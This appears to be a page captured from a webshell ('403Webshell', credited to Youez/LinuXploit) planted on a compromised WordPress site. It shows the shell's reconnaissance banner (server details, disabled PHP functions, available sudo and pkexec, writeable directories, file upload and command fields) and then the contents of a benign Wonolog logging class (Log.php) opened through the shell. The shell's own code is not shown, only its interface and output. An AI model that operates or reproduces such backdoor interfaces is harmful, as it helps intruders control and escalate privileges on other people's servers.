403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.162.22
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/vendor/inpsyde/wonolog/src/Data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/vendor/inpsyde/wonolog/src/Data/Log.php
<?php # -*- coding: utf-8 -*-
/*
 * This file is part of the Wonolog package.
 *
 * (c) Inpsyde GmbH
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Inpsyde\Wonolog\Data;

use Inpsyde\Wonolog\Channels;
use Inpsyde\Wonolog\LogLevel;
use Monolog\Logger;

/**
 * Generic log data object.
 *
 * It is a value object used to pass data to wonolog.
 *
 * @package wonolog
 * @license http://opensource.org/licenses/MIT MIT
 */
final class Log implements LogDataInterface {

	use LogDataTrait;

	/**
	 * @var array
	 */
	private static $filters = [
		self::MESSAGE => FILTER_SANITIZE_STRING,
		self::LEVEL   => FILTER_SANITIZE_NUMBER_INT,
		self::CHANNEL => FILTER_SANITIZE_STRING,
		self::CONTEXT => [ 'filter' => FILTER_UNSAFE_RAW, 'flags' => FILTER_REQUIRE_ARRAY ],
	];

	/**
	 * @var int
	 */
	private $level;

	/**
	 * @param \WP_Error  $error
	 * @param string|int $level   A string representing the level, e.g. `"NOTICE"` or an integer, very likely via Logger
	 *                            constants, e.g. `Logger::NOTICE`
	 * @param string     $channel Channel name
	 *
	 * @return Log
	 */
	public static function from_wp_error( \WP_Error $error, $level = Logger::NOTICE, $channel = '' ) {

		$log_level = LogLevel::instance();
		$level     = $log_level->check_level( $level ) ? : Logger::NOTICE;

		$message = $error->get_error_message();
		$context = $error->get_error_data() ?: [];

		if ( $channel ) {
			return new static( $message, $level, $channel, $context );
		}

		$channel = WpErrorChannel::for_error( $error )
			->channel();

		// Raise level for "guessed" channels
		if ( $channel === Channels::SECURITY && $level < Logger::ERROR ) {
			$level = Logger::ERROR;
		} elseif ( $channel !== Channels::DEBUG && $level < Logger::WARNING ) {
			$level = Logger::WARNING;
		}

		return new static( $message, $level, $channel, $context );
	}

	/**
	 * @param \Throwable $throwable
	 * @param int|string $level     A string representing the level, e.g. `"NOTICE"` or an integer, very likely
	 *                              via Logger constants, e.g. `Logger::NOTICE`
	 * @param string                $channel
	 * @param array                 $context
	 *
	 * @return Log
	 */
	public static function from_throwable(
		$throwable,
		$level = Logger::ERROR,
		$channel = Channels::DEBUG,
		array $context = []
	) {

		// We can't do type hint to support both PHP 7 Throwable and PHP 5 Exception
		if ( ! $throwable instanceof \Throwable && ! $throwable instanceof \Exception ) {
			$throwable = new \InvalidArgumentException(
				sprintf( '%s expects a throwable instance as first argument.', __METHOD__ )
			);
		}

		$log_level = LogLevel::instance();
		$level     = $log_level->check_level( $level ) ? : Logger::ERROR;

		$channel or $channel = Channels::DEBUG;

		$context[ 'throwable' ] = [
			'class' => get_class( $throwable ),
			'file'  => $throwable->getFile(),
			'line'  => $throwable->getLine(),
			'trace' => $throwable->getTrace(),
		];

		return new static( $throwable->getMessage(), $level, $channel, $context );
	}

	/**
	 * @param array $log_data
	 *
	 * @return Log
	 */
	public static function from_array( array $log_data ) {

		$defaults = [
			self::MESSAGE => 'Unknown error',
			self::LEVEL   => Logger::DEBUG,
			self::CHANNEL => Channels::DEBUG,
			self::CONTEXT => [],
		];

		$log_level = LogLevel::instance();
		$levels    = Logger::getLevels();

		if ( isset( $log_data[ self::LEVEL ] ) && is_string( $log_data[ self::LEVEL ] ) ) {
			$log_data[ self::LEVEL ] = $log_level->check_level( $log_data[ self::LEVEL ], $levels );
		}

		$log_data = array_filter( filter_var_array( $log_data, self::$filters ) );

		$data = array_merge( $defaults, $log_data );

		return new static(
			$data[ self::MESSAGE ],
			$data[ self::LEVEL ],
			$data[ self::CHANNEL ],
			$data[ self::CONTEXT ]
		);
	}

	/**
	 * @param string     $message
	 * @param int|string $level
	 * @param string     $channel
	 * @param array      $context
	 */
	public function __construct(
		$message = '',
		$level = Logger::DEBUG,
		$channel = Channels::DEBUG,
		array $context = []
	) {

		$this->level   = (int) $level;
		$this->message = (string) $message;
		$this->channel = (string) $channel;
		$this->context = $context;
	}

	/**
	 * @param array $log_data
	 *
	 * @return Log
	 */
	public function merge_array( array $log_data ) {

		$base = [
			self::MESSAGE => $this->message(),
			self::LEVEL   => $this->level(),
			self::CHANNEL => $this->channel(),
			self::CONTEXT => $this->context(),
		];

		return self::from_array( shortcode_atts( $base, $log_data ) );
	}

	/**
	 * @param LogDataInterface $log
	 *
	 * @return Log
	 */
	public function merge( LogDataInterface $log ) {

		$log_data = [
			self::MESSAGE => $log->message(),
			self::LEVEL   => $log->level(),
			self::CHANNEL => $log->channel(),
			self::CONTEXT => $log->context(),
		];

		return $this->merge_array( $log_data );
	}

	/**
	 * @param string $key
	 * @param mixed  $value
	 *
	 * @return Log
	 * @throws \InvalidArgumentException
	 */
	public function with( $key, $value ) {

		if ( ! is_string( $key ) || ! array_key_exists( $key, self::$filters ) ) {
			throw new \InvalidArgumentException( 'Invalid Log key.' );
		}

		return $this->merge_array( [ $key => $value ] );
	}

	/**
	 * @inheritdoc
	 */
	public function level() {

		return $this->level;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit